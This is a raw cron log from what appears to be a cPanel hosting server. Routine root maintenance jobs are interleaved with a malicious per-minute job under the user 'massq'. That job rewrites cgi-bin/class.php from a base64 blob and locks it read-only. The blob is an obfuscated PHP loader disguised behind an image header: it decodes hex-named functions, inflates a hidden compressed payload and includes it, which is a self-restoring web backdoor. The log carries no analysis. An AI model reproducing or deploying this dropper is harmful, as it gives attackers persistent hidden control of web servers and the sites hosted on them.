J5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:16:01 server CROND[31222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:16:01 server CROND[31223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:17:01 server CROND[31664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:17:01 server CROND[31666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:17:01 server CROND[31665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:18:01 server CROND[32060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:18:01 server CROND[32061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:18:01 server CROND[32062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:19:01 server CROND[32473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:19:01 server CROND[32475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:19:01 server CROND[32476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:20:01 server CROND[521]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:20:01 server CROND[522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:20:01 server CROND[524]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:20:01 server CROND[528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:20:01 server CROND[531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:20:01 server CROND[534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:20:01 server CROND[535]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:20:01 server CROND[533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:20:01 server CROND[530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:21:01 server CROND[1499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:21:01 server CROND[1500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:21:01 server CROND[1501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:22:01 server CROND[1894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:22:01 server CROND[1895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:22:01 server CROND[1893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:23:01 server CROND[2315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:23:01 server CROND[2316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:23:01 server CROND[2317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:24:01 server CROND[2737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:24:01 server CROND[2738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:24:01 server CROND[2739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:25:01 server CROND[3222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:25:01 server CROND[3224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:25:01 server CROND[3229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:25:01 server CROND[3227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:25:01 server CROND[3226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:25:01 server CROND[3228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:25:01 server CROND[3232]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 08:25:01 server CROND[3245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:26:01 server CROND[4081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:26:01 server CROND[4082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:26:01 server CROND[4083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:27:01 server CROND[4525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:27:01 server CROND[4526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:27:01 server CROND[4528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:27:01 server CROND[4527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:28:01 server CROND[4925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:28:01 server CROND[4926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
